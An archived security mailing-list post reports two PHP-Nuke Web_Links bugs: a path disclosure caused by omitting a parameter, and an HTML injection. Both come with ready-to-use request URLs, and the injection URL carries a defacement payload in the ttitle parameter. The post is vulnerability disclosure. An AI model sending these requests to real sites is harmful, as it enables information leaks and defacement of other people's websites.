Security bugs in PhpNuke

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



Hello, 

I found 2 security bugs in phpnuke

The first is a path disclosure vulnerability : 
Change this 
http://nukesite.xxx/modules.php?op=modload&name=Web_Links&file=index&l_op=viewlink&cid=3
in that ...
http://nukesite.xxx/modules.php?op=modload&name=Web_Links&file=index&l_op=viewlink

The second one is hax0r style :
change this ...
http://nukesite.xxx/modules.php?op=modload&name=Web_Links&file=index&l_op=ratelink&lid=17&ttitle=Great_places_for_free_advertising!
to this...
http://nukesite.xxx/modules.php?op=modload&name=Web_Links&file=index&l_op=ratelink&lid=17&ttitle=<h1>You%20HaVe%20BeEn%20HaX0red!!!

By, 
Thiébaut (napnap)

[Index of Archives]     [Linux Security]     [Netfilter]     [PHP]     [Yosemite News]     [Linux Kernel]

  Powered by Linux